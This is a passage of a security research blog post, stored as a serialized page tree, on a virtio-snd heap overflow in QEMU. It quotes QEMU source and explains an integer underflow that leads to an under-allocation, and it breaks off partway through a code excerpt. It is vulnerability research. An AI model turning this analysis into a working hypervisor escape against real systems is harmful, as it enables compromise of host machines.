[{"data":1,"prerenderedAt":170329},["ShallowReactive",2],{"blog-/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape":3,"featured-blog-posts":8502},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":12,"isFeatured":16,"onBlogPage":16,"tags":17,"body":20,"_type":8496,"_id":8497,"_source":8498,"_file":8499,"_stem":8500,"_extension":8501},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","blog",false,"","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":13,"width":14,"height":15},"/posts/virtio-snd-qemu-0day/title.png",1536,1024,true,[18,19],"qemu","heap-overflow",{"type":21,"children":22,"toc":8478},"root",[23,31,37,42,49,54,59,68,74,88,92,97,106,111,118,123,136,828,864,909,943,979,1121,1171,1177,1182,1961,2006,2042,2077,2142,2162,2615,2664,2668,2673,2741,2767,2791,2797,2802,2807,2813,2818,2823,2828,2834,2847,2854,2859,2867,2938,2943,2949,2962,3192,3255,3274,3664,3669,3702,3707,3984,3996,4015,4296,4308,4311,4346,4351,4357,4369,4381,4386,4391,4401,4436,5058,5090,5102,5138,5151,5157,5169,5177,5203,5208,5241,5282,5288,5307,5345,5353,5402,5407,5457,5462,5470,5557,5563,5602,5614,5622,5641,5660,5668,5680,5688,5707,5715,5726,5734,5746,5754,5767,5775,5781,5786,5799,5807,5828,5836,5848,5853,5861,5897,5930,5937,5971,5979,5984,5990,6002,6013,6293,6354,6423,6431,6465,7079,7090,7098,7104,7109,7120,7874,7907,7920,8006,8026,8235,8283,8295,8301,8320,8346,8374,8391,8418,8421,8442,8456,8462,8467,8472],{"type":24,"tag":25,"props":26,"children":27},"element","p",{},[28],{"type":29,"value":30},"text","Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":24,"tag":32,"props":33,"children":34},"h2",{"id":18},[35],{"type":29,"value":36},"QEMU",{"type":24,"tag":25,"props":38,"children":39},{},[40],{"type":29,"value":41},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":24,"tag":43,"props":44,"children":46},"h3",{"id":45},"virtio-devices",[47],{"type":29,"value":48},"Virtio Devices",{"type":24,"tag":25,"props":50,"children":51},{},[52],{"type":29,"value":53},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":24,"tag":25,"props":55,"children":56},{},[57],{"type":29,"value":58},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":24,"tag":25,"props":60,"children":61},{},[62],{"type":24,"tag":63,"props":64,"children":67},"img",{"alt":65,"src":66},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":24,"tag":32,"props":69,"children":71},{"id":70},"finding-a-bug",[72],{"type":29,"value":73},"Finding a Bug",{"type":24,"tag":25,"props":75,"children":76},{},[77,79,86],{"type":29,"value":78},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":24,"tag":80,"props":81,"children":83},"code",{"className":82},[],[84],{"type":29,"value":85},"virtio-snd",{"type":29,"value":87},".",{"type":24,"tag":43,"props":89,"children":90},{"id":85},[91],{"type":29,"value":85},{"type":24,"tag":25,"props":93,"children":94},{},[95],{"type":29,"value":96},"From the official documentation:",{"type":24,"tag":98,"props":99,"children":100},"blockquote",{},[101],{"type":24,"tag":25,"props":102,"children":103},{},[104],{"type":29,"value":105},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":24,"tag":25,"props":107,"children":108},{},[109],{"type":29,"value":110},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":24,"tag":112,"props":113,"children":115},"h4",{"id":114},"audio-data-buffers",[116],{"type":29,"value":117},"Audio Data Buffers",{"type":24,"tag":25,"props":119,"children":120},{},[121],{"type":29,"value":122},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":24,"tag":25,"props":124,"children":125},{},[126,128,134],{"type":29,"value":127},"For example, the following is ",{"type":24,"tag":80,"props":129,"children":131},{"className":130},[],[132],{"type":29,"value":133},"virtio_snd_handle_rx_xfer",{"type":29,"value":135},", which is responsible for allocating buffers for an input audio stream:",{"type":24,"tag":137,"props":138,"children":142},"pre",{"code":139,"language":140,"meta":7,"className":141,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n","c","language-c shiki shiki-themes slack-dark",[143],{"type":24,"tag":80,"props":144,"children":145},{"__ignoreMap":7},[146,158,167,176,185,194,203,212,270,279,297,306,315,330,348,356,395,419,433,442,450,459,467,506,570,589,630,657,682,713,742,782,790,803,811,819],{"type":24,"tag":147,"props":148,"children":151},"span",{"class":149,"line":150},"line",1,[152],{"type":24,"tag":147,"props":153,"children":155},{"style":154},"--shiki-default:#6A9955",[156],{"type":29,"value":157},"/*\n",{"type":24,"tag":147,"props":159,"children":161},{"class":149,"line":160},2,[162],{"type":24,"tag":147,"props":163,"children":164},{"style":154},[165],{"type":29,"value":166}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":24,"tag":147,"props":168,"children":170},{"class":149,"line":169},3,[171],{"type":24,"tag":147,"props":172,"children":173},{"style":154},[174],{"type":29,"value":175}," * respective streams for consumption.\n",{"type":24,"tag":147,"props":177,"children":179},{"class":149,"line":178},4,[180],{"type":24,"tag":147,"props":181,"children":182},{"style":154},[183],{"type":29,"value":184}," *\n",{"type":24,"tag":147,"props":186,"children":188},{"class":149,"line":187},5,[189],{"type":24,"tag":147,"props":190,"children":191},{"style":154},[192],{"type":29,"value":193}," * @vdev: VirtIOSound device\n",{"type":24,"tag":147,"props":195,"children":197},{"class":149,"line":196},6,[198],{"type":24,"tag":147,"props":199,"children":200},{"style":154},[201],{"type":29,"value":202}," * @vq: rx virtqueue\n",{"type":24,"tag":147,"props":204,"children":206},{"class":149,"line":205},7,[207],{"type":24,"tag":147,"props":208,"children":209},{"style":154},[210],{"type":29,"value":211}," */\n",{"type":24,"tag":147,"props":213,"children":215},{"class":149,"line":214},8,[216,222,227,233,239,245,251,256,260,265],{"type":24,"tag":147,"props":217,"children":219},{"style":218},"--shiki-default:#569CD6",[220],{"type":29,"value":221},"static",{"type":24,"tag":147,"props":223,"children":224},{"style":218},[225],{"type":29,"value":226}," void",{"type":24,"tag":147,"props":228,"children":230},{"style":229},"--shiki-default:#DCDCAA",[231],{"type":29,"value":232}," virtio_snd_handle_rx_xfer",{"type":24,"tag":147,"props":234,"children":236},{"style":235},"--shiki-default:#E6E6E6",[237],{"type":29,"value":238},"(VirtIODevice ",{"type":24,"tag":147,"props":240,"children":242},{"style":241},"--shiki-default:#D4D4D4",[243],{"type":29,"value":244},"*",{"type":24,"tag":147,"props":246,"children":248},{"style":247},"--shiki-default:#9CDCFE",[249],{"type":29,"value":250},"vdev",{"type":24,"tag":147,"props":252,"children":253},{"style":235},[254],{"type":29,"value":255},", VirtQueue ",{"type":24,"tag":147,"props":257,"children":258},{"style":241},[259],{"type":29,"value":244},{"type":24,"tag":147,"props":261,"children":262},{"style":247},[263],{"type":29,"value":264},"vq",{"type":24,"tag":147,"props":266,"children":267},{"style":235},[268],{"type":29,"value":269},")\n",{"type":24,"tag":147,"props":271,"children":273},{"class":149,"line":272},9,[274],{"type":24,"tag":147,"props":275,"children":276},{"style":235},[277],{"type":29,"value":278},"{\n",{"type":24,"tag":147,"props":280,"children":282},{"class":149,"line":281},10,[283,288,292],{"type":24,"tag":147,"props":284,"children":285},{"style":235},[286],{"type":29,"value":287},"    VirtQueueElement ",{"type":24,"tag":147,"props":289,"children":290},{"style":241},[291],{"type":29,"value":244},{"type":24,"tag":147,"props":293,"children":294},{"style":235},[295],{"type":29,"value":296},"elem;\n",{"type":24,"tag":147,"props":298,"children":300},{"class":149,"line":299},11,[301],{"type":24,"tag":147,"props":302,"children":303},{"style":235},[304],{"type":29,"value":305},"    [...]\n",{"type":24,"tag":147,"props":307,"children":309},{"class":149,"line":308},12,[310],{"type":24,"tag":147,"props":311,"children":312},{"emptyLinePlaceholder":16},[313],{"type":29,"value":314},"\n",{"type":24,"tag":147,"props":316,"children":318},{"class":149,"line":317},13,[319,325],{"type":24,"tag":147,"props":320,"children":322},{"style":321},"--shiki-default:#C586C0",[323],{"type":29,"value":324},"    for",{"type":24,"tag":147,"props":326,"children":327},{"style":235},[328],{"type":29,"value":329}," (;;) {\n",{"type":24,"tag":147,"props":331,"children":333},{"class":149,"line":332},14,[334,339,343],{"type":24,"tag":147,"props":335,"children":336},{"style":235},[337],{"type":29,"value":338},"        VirtIOSoundPCMStream ",{"type":24,"tag":147,"props":340,"children":341},{"style":241},[342],{"type":29,"value":244},{"type":24,"tag":147,"props":344,"children":345},{"style":235},[346],{"type":29,"value":347},"stream;\n",{"type":24,"tag":147,"props":349,"children":351},{"class":149,"line":350},15,[352],{"type":24,"tag":147,"props":353,"children":354},{"emptyLinePlaceholder":16},[355],{"type":29,"value":314},{"type":24,"tag":147,"props":357,"children":359},{"class":149,"line":358},16,[360,365,370,375,380,385,390],{"type":24,"tag":147,"props":361,"children":362},{"style":235},[363],{"type":29,"value":364},"        elem ",{"type":24,"tag":147,"props":366,"children":367},{"style":241},[368],{"type":29,"value":369},"=",{"type":24,"tag":147,"props":371,"children":372},{"style":229},[373],{"type":29,"value":374}," virtqueue_pop",{"type":24,"tag":147,"props":376,"children":377},{"style":235},[378],{"type":29,"value":379},"(vq, ",{"type":24,"tag":147,"props":381,"children":382},{"style":218},[383],{"type":29,"value":384},"sizeof",{"type":24,"tag":147,"props":386,"children":387},{"style":235},[388],{"type":29,"value":389},"(VirtQueueElement));",{"type":24,"tag":147,"props":391,"children":392},{"style":154},[393],{"type":29,"value":394},"     // [1]\n",{"type":24,"tag":147,"props":396,"children":398},{"class":149,"line":397},17,[399,404,409,414],{"type":24,"tag":147,"props":400,"children":401},{"style":321},[402],{"type":29,"value":403},"        if",{"type":24,"tag":147,"props":405,"children":406},{"style":235},[407],{"type":29,"value":408}," (",{"type":24,"tag":147,"props":410,"children":411},{"style":241},[412],{"type":29,"value":413},"!",{"type":24,"tag":147,"props":415,"children":416},{"style":235},[417],{"type":29,"value":418},"elem) {\n",{"type":24,"tag":147,"props":420,"children":422},{"class":149,"line":421},18,[423,428],{"type":24,"tag":147,"props":424,"children":425},{"style":321},[426],{"type":29,"value":427},"            break",{"type":24,"tag":147,"props":429,"children":430},{"style":235},[431],{"type":29,"value":432},";\n",{"type":24,"tag":147,"props":434,"children":436},{"class":149,"line":435},19,[437],{"type":24,"tag":147,"props":438,"children":439},{"style":235},[440],{"type":29,"value":441},"        }\n",{"type":24,"tag":147,"props":443,"children":445},{"class":149,"line":444},20,[446],{"type":24,"tag":147,"props":447,"children":448},{"emptyLinePlaceholder":16},[449],{"type":29,"value":314},{"type":24,"tag":147,"props":451,"children":453},{"class":149,"line":452},21,[454],{"type":24,"tag":147,"props":455,"children":456},{"style":235},[457],{"type":29,"value":458},"        [...]\n",{"type":24,"tag":147,"props":460,"children":462},{"class":149,"line":461},22,[463],{"type":24,"tag":147,"props":464,"children":465},{"emptyLinePlaceholder":16},[466],{"type":29,"value":314},{"type":24,"tag":147,"props":468,"children":470},{"class":149,"line":469},23,[471,476,481,486,491,496,501],{"type":24,"tag":147,"props":472,"children":473},{"style":229},[474],{"type":29,"value":475},"        WITH_QEMU_LOCK_GUARD",{"type":24,"tag":147,"props":477,"children":478},{"style":235},[479],{"type":29,"value":480},"(",{"type":24,"tag":147,"props":482,"children":483},{"style":241},[484],{"type":29,"value":485},"&",{"type":24,"tag":147,"props":487,"children":488},{"style":247},[489],{"type":29,"value":490},"stream",{"type":24,"tag":147,"props":492,"children":493},{"style":235},[494],{"type":29,"value":495},"->",{"type":24,"tag":147,"props":497,"children":498},{"style":247},[499],{"type":29,"value":500},"queue_mutex",{"type":24,"tag":147,"props":502,"children":503},{"style":235},[504],{"type":29,"value":505},") {\n",{"type":24,"tag":147,"props":507,"children":509},{"class":149,"line":508},24,[510,515,519,524,528,533,537,542,547,551,555,560,565],{"type":24,"tag":147,"props":511,"children":512},{"style":235},[513],{"type":29,"value":514},"            size ",{"type":24,"tag":147,"props":516,"children":517},{"style":241},[518],{"type":29,"value":369},{"type":24,"tag":147,"props":520,"children":521},{"style":229},[522],{"type":29,"value":523}," iov_size",{"type":24,"tag":147,"props":525,"children":526},{"style":235},[527],{"type":29,"value":480},{"type":24,"tag":147,"props":529,"children":530},{"style":247},[531],{"type":29,"value":532},"elem",{"type":24,"tag":147,"props":534,"children":535},{"style":235},[536],{"type":29,"value":495},{"type":24,"tag":147,"props":538,"children":539},{"style":247},[540],{"type":29,"value":541},"in_sg",{"type":24,"tag":147,"props":543,"children":544},{"style":235},[545],{"type":29,"value":546},", ",{"type":24,"tag":147,"props":548,"children":549},{"style":247},[550],{"type":29,"value":532},{"type":24,"tag":147,"props":552,"children":553},{"style":235},[554],{"type":29,"value":495},{"type":24,"tag":147,"props":556,"children":557},{"style":247},[558],{"type":29,"value":559},"in_num",{"type":24,"tag":147,"props":561,"children":562},{"style":235},[563],{"type":29,"value":564},") ",{"type":24,"tag":147,"props":566,"children":567},{"style":241},[568],{"type":29,"value":569},"-\n",{"type":24,"tag":147,"props":571,"children":573},{"class":149,"line":572},25,[574,579,584],{"type":24,"tag":147,"props":575,"children":576},{"style":218},[577],{"type":29,"value":578},"                sizeof",{"type":24,"tag":147,"props":580,"children":581},{"style":235},[582],{"type":29,"value":583},"(virtio_snd_pcm_status);",{"type":24,"tag":147,"props":585,"children":586},{"style":154},[587],{"type":29,"value":588},"                  // [2]\n",{"type":24,"tag":147,"props":590,"children":592},{"class":149,"line":591},26,[593,598,602,607,611,615,620,625],{"type":24,"tag":147,"props":594,"children":595},{"style":235},[596],{"type":29,"value":597},"            buffer ",{"type":24,"tag":147,"props":599,"children":600},{"style":241},[601],{"type":29,"value":369},{"type":24,"tag":147,"props":603,"children":604},{"style":229},[605],{"type":29,"value":606}," g_malloc0",{"type":24,"tag":147,"props":608,"children":609},{"style":235},[610],{"type":29,"value":480},{"type":24,"tag":147,"props":612,"children":613},{"style":218},[614],{"type":29,"value":384},{"type":24,"tag":147,"props":616,"children":617},{"style":235},[618],{"type":29,"value":619},"(VirtIOSoundPCMBuffer) ",{"type":24,"tag":147,"props":621,"children":622},{"style":241},[623],{"type":29,"value":624},"+",{"type":24,"tag":147,"props":626,"children":627},{"style":235},[628],{"type":29,"value":629}," size);\n",{"type":24,"tag":147,"props":631,"children":633},{"class":149,"line":632},27,[634,639,643,647,652],{"type":24,"tag":147,"props":635,"children":636},{"style":247},[637],{"type":29,"value":638},"            buffer",{"type":24,"tag":147,"props":640,"children":641},{"style":235},[642],{"type":29,"value":495},{"type":24,"tag":147,"props":644,"children":645},{"style":247},[646],{"type":29,"value":532},{"type":24,"tag":147,"props":648,"children":649},{"style":241},[650],{"type":29,"value":651}," =",{"type":24,"tag":147,"props":653,"children":654},{"style":235},[655],{"type":29,"value":656}," elem;\n",{"type":24,"tag":147,"props":658,"children":660},{"class":149,"line":659},28,[661,665,669,673,677],{"type":24,"tag":147,"props":662,"children":663},{"style":247},[664],{"type":29,"value":638},{"type":24,"tag":147,"props":666,"children":667},{"style":235},[668],{"type":29,"value":495},{"type":24,"tag":147,"props":670,"children":671},{"style":247},[672],{"type":29,"value":264},{"type":24,"tag":147,"props":674,"children":675},{"style":241},[676],{"type":29,"value":651},{"type":24,"tag":147,"props":678,"children":679},{"style":235},[680],{"type":29,"value":681}," vq;\n",{"type":24,"tag":147,"props":683,"children":685},{"class":149,"line":684},29,[686,690,694,699,703,709],{"type":24,"tag":147,"props":687,"children":688},{"style":247},[689],{"type":29,"value":638},{"type":24,"tag":147,"props":691,"children":692},{"style":235},[693],{"type":29,"value":495},{"type":24,"tag":147,"props":695,"children":696},{"style":247},[697],{"type":29,"value":698},"size",{"type":24,"tag":147,"props":700,"children":701},{"style":241},[702],{"type":29,"value":651},{"type":24,"tag":147,"props":704,"children":706},{"style":705},"--shiki-default:#B5CEA8",[707],{"type":29,"value":708}," 0",{"type":24,"tag":147,"props":710,"children":711},{"style":235},[712],{"type":29,"value":432},{"type":24,"tag":147,"props":714,"children":716},{"class":149,"line":715},30,[717,721,725,730,734,738],{"type":24,"tag":147,"props":718,"children":719},{"style":247},[720],{"type":29,"value":638},{"type":24,"tag":147,"props":722,"children":723},{"style":235},[724],{"type":29,"value":495},{"type":24,"tag":147,"props":726,"children":727},{"style":247},[728],{"type":29,"value":729},"offset",{"type":24,"tag":147,"props":731,"children":732},{"style":241},[733],{"type":29,"value":651},{"type":24,"tag":147,"props":735,"children":736},{"style":705},[737],{"type":29,"value":708},{"type":24,"tag":147,"props":739,"children":740},{"style":235},[741],{"type":29,"value":432},{"type":24,"tag":147,"props":743,"children":745},{"class":149,"line":744},31,[746,751,755,759,763,767,772,777],{"type":24,"tag":147,"props":747,"children":748},{"style":229},[749],{"type":29,"value":750},"            QSIMPLEQ_INSERT_TAIL",{"type":24,"tag":147,"props":752,"children":753},{"style":235},[754],{"type":29,"value":480},{"type":24,"tag":147,"props":756,"children":757},{"style":241},[758],{"type":29,"value":485},{"type":24,"tag":147,"props":760,"children":761},{"style":247},[762],{"type":29,"value":490},{"type":24,"tag":147,"props":764,"children":765},{"style":235},[766],{"type":29,"value":495},{"type":24,"tag":147,"props":768,"children":769},{"style":247},[770],{"type":29,"value":771},"queue",{"type":24,"tag":147,"props":773,"children":774},{"style":235},[775],{"type":29,"value":776},", buffer, entry);",{"type":24,"tag":147,"props":778,"children":779},{"style":154},[780],{"type":29,"value":781}," // [3]\n",{"type":24,"tag":147,"props":783,"children":785},{"class":149,"line":784},32,[786],{"type":24,"tag":147,"props":787,"children":788},{"style":235},[789],{"type":29,"value":441},{"type":24,"tag":147,"props":791,"children":793},{"class":149,"line":792},33,[794,799],{"type":24,"tag":147,"props":795,"children":796},{"style":321},[797],{"type":29,"value":798},"        continue",{"type":24,"tag":147,"props":800,"children":801},{"style":235},[802],{"type":29,"value":432},{"type":24,"tag":147,"props":804,"children":806},{"class":149,"line":805},34,[807],{"type":24,"tag":147,"props":808,"children":809},{"emptyLinePlaceholder":16},[810],{"type":29,"value":314},{"type":24,"tag":147,"props":812,"children":814},{"class":149,"line":813},35,[815],{"type":24,"tag":147,"props":816,"children":817},{"style":235},[818],{"type":29,"value":458},{"type":24,"tag":147,"props":820,"children":822},{"class":149,"line":821},36,[823],{"type":24,"tag":147,"props":824,"children":825},{"style":235},[826],{"type":29,"value":827},"}\n",{"type":24,"tag":25,"props":829,"children":830},{},[831,833,839,841,847,849,854,856,862],{"type":29,"value":832},"At ",{"type":24,"tag":80,"props":834,"children":836},{"className":835},[],[837],{"type":29,"value":838},"[1]",{"type":29,"value":840},", a ",{"type":24,"tag":80,"props":842,"children":844},{"className":843},[],[845],{"type":29,"value":846},"VirtQueueElement *elem",{"type":29,"value":848}," is popped from the virtqueue. It contains the ",{"type":24,"tag":80,"props":850,"children":852},{"className":851},[],[853],{"type":29,"value":541},{"type":29,"value":855}," and ",{"type":24,"tag":80,"props":857,"children":859},{"className":858},[],[860],{"type":29,"value":861},"out_sg",{"type":29,"value":863}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":24,"tag":25,"props":865,"children":866},{},[867,869,875,877,883,885,891,893,899,901,907],{"type":29,"value":868},"Further at ",{"type":24,"tag":80,"props":870,"children":872},{"className":871},[],[873],{"type":29,"value":874},"[2]",{"type":29,"value":876},", the device computes the size of the data buffer as ",{"type":24,"tag":80,"props":878,"children":880},{"className":879},[],[881],{"type":29,"value":882},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":884},". That value is then used in the allocation: ",{"type":24,"tag":80,"props":886,"children":888},{"className":887},[],[889],{"type":29,"value":890},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":892},". Finally, at ",{"type":24,"tag":80,"props":894,"children":896},{"className":895},[],[897],{"type":29,"value":898},"[3]",{"type":29,"value":900},", the newly allocated buffer is appended to the ",{"type":24,"tag":80,"props":902,"children":904},{"className":903},[],[905],{"type":29,"value":906},"stream->queue",{"type":29,"value":908}," linked list.",{"type":24,"tag":25,"props":910,"children":911},{},[912,914,919,921,926,928,933,935,941],{"type":29,"value":913},"Because both the ",{"type":24,"tag":80,"props":915,"children":917},{"className":916},[],[918],{"type":29,"value":541},{"type":29,"value":920}," iovec and the ",{"type":24,"tag":80,"props":922,"children":924},{"className":923},[],[925],{"type":29,"value":559},{"type":29,"value":927}," field are guest-controlled, and there is no check that the total ",{"type":24,"tag":80,"props":929,"children":931},{"className":930},[],[932],{"type":29,"value":541},{"type":29,"value":934}," size is at least ",{"type":24,"tag":80,"props":936,"children":938},{"className":937},[],[939],{"type":29,"value":940},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":942},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":24,"tag":25,"props":944,"children":945},{},[946,948,953,955,961,963,969,971,977],{"type":29,"value":947},"From the guest driver, we can provide an empty ",{"type":24,"tag":80,"props":949,"children":951},{"className":950},[],[952],{"type":29,"value":541},{"type":29,"value":954}," iovec. In that case, the calculation becomes ",{"type":24,"tag":80,"props":956,"children":958},{"className":957},[],[959],{"type":29,"value":960},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":962},", so the allocation size effectively becomes ",{"type":24,"tag":80,"props":964,"children":966},{"className":965},[],[967],{"type":29,"value":968},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":970},". Given the definition of ",{"type":24,"tag":80,"props":972,"children":974},{"className":973},[],[975],{"type":29,"value":976},"VirtIOSoundPCMBuffer",{"type":29,"value":978},":",{"type":24,"tag":137,"props":980,"children":982},{"code":981,"language":140,"meta":7,"className":141,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[983],{"type":24,"tag":80,"props":984,"children":985},{"__ignoreMap":7},[986,999,1012,1027,1044,1057,1070,1078,1091,1113],{"type":24,"tag":147,"props":987,"children":988},{"class":149,"line":150},[989,994],{"type":24,"tag":147,"props":990,"children":991},{"style":218},[992],{"type":29,"value":993},"struct",{"type":24,"tag":147,"props":995,"children":996},{"style":235},[997],{"type":29,"value":998}," VirtIOSoundPCMBuffer {\n",{"type":24,"tag":147,"props":1000,"children":1001},{"class":149,"line":160},[1002,1007],{"type":24,"tag":147,"props":1003,"children":1004},{"style":229},[1005],{"type":29,"value":1006},"    QSIMPLEQ_ENTRY",{"type":24,"tag":147,"props":1008,"children":1009},{"style":235},[1010],{"type":29,"value":1011},"(VirtIOSoundPCMBuffer) entry;\n",{"type":24,"tag":147,"props":1013,"children":1014},{"class":149,"line":169},[1015,1019,1023],{"type":24,"tag":147,"props":1016,"children":1017},{"style":235},[1018],{"type":29,"value":287},{"type":24,"tag":147,"props":1020,"children":1021},{"style":241},[1022],{"type":29,"value":244},{"type":24,"tag":147,"props":1024,"children":1025},{"style":235},[1026],{"type":29,"value":296},{"type":24,"tag":147,"props":1028,"children":1029},{"class":149,"line":178},[1030,1035,1039],{"type":24,"tag":147,"props":1031,"children":1032},{"style":235},[1033],{"type":29,"value":1034},"    VirtQueue ",{"type":24,"tag":147,"props":1036,"children":1037},{"style":241},[1038],{"type":29,"value":244},{"type":24,"tag":147,"props":1040,"children":1041},{"style":235},[1042],{"type":29,"value":1043},"vq;\n",{"type":24,"tag":147,"props":1045,"children":1046},{"class":149,"line":187},[1047,1052],{"type":24,"tag":147,"props":1048,"children":1049},{"style":218},[1050],{"type":29,"value":1051},"    size_t",{"type":24,"tag":147,"props":1053,"children":1054},{"style":235},[1055],{"type":29,"value":1056}," size;\n",{"type":24,"tag":147,"props":1058,"children":1059},{"class":149,"line":196},[1060,1065],{"type":24,"tag":147,"props":1061,"children":1062},{"style":218},[1063],{"type":29,"value":1064},"    uint64_t",{"type":24,"tag":147,"props":1066,"children":1067},{"style":235},[1068],{"type":29,"value":1069}," offset;\n",{"type":24,"tag":147,"props":1071,"children":1072},{"class":149,"line":205},[1073],{"type":24,"tag":147,"props":1074,"children":1075},{"style":154},[1076],{"type":29,"value":1077},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":24,"tag":147,"props":1079,"children":1080},{"class":149,"line":214},[1081,1086],{"type":24,"tag":147,"props":1082,"children":1083},{"style":218},[1084],{"type":29,"value":1085},"    bool",{"type":24,"tag":147,"props":1087,"children":1088},{"style":235},[1089],{"type":29,"value":1090}," populated;\n",{"type":24,"tag":147,"props":1092,"children":1093},{"class":149,"line":272},[1094,1099,1104,1109],{"type":24,"tag":147,"props":1095,"children":1096},{"style":218},[1097],{"type":29,"value":1098},"    uint8_t",{"type":24,"tag":147,"props":1100,"children":1101},{"style":235},[1102],{"type":29,"value":1103}," data",{"type":24,"tag":147,"props":1105,"children":1106},{"style":218},[1107],{"type":29,"value":1108},"[]",{"type":24,"tag":147,"props":1110,"children":1111},{"style":235},[1112],{"type":29,"value":432},{"type":24,"tag":147,"props":1114,"children":1115},{"class":149,"line":281},[1116],{"type":24,"tag":147,"props":1117,"children":1118},{"style":235},[1119],{"type":29,"value":1120},"};\n",{"type":24,"tag":25,"props":1122,"children":1123},{},[1124,1126,1132,1134,1140,1142,1147,1149,1155,1157,1162,1164,1170],{"type":29,"value":1125},"That under-allocation removes the ",{"type":24,"tag":80,"props":1127,"children":1129},{"className":1128},[],[1130],{"type":29,"value":1131},"populated",{"type":29,"value":1133}," field along with the variable-sized ",{"type":24,"tag":80,"props":1135,"children":1137},{"className":1136},[],[1138],{"type":29,"value":1139},"data",{"type":29,"value":1141}," array. As the comment says, ",{"type":24,"tag":80,"props":1143,"children":1145},{"className":1144},[],[1146],{"type":29,"value":1131},{"type":29,"value":1148}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":24,"tag":80,"props":1150,"children":1152},{"className":1151},[],[1153],{"type":29,"value":1154},"1",{"type":29,"value":1156},", the device believes data should be ",{"type":24,"tag":80,"props":1158,"children":1160},{"className":1159},[],[1161],{"type":29,"value":1154},{"type":29,"value":1163}," byte, while the actual allocation is ",{"type":24,"tag":80,"props":1165,"children":1167},{"className":1166},[],[1168],{"type":29,"value":1169},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":87},{"type":24,"tag":112,"props":1172,"children":1174},{"id":1173},"populating-data-buffers",[1175],{"type":29,"value":1176},"Populating Data Buffers",{"type":24,"tag":25,"props":1178,"children":1179},{},[1180],{"type":29,"value":1181},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":24,"tag":137,"props":1183,"children":1185},{"code":1184,"language":140,"meta":7,"className":141,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    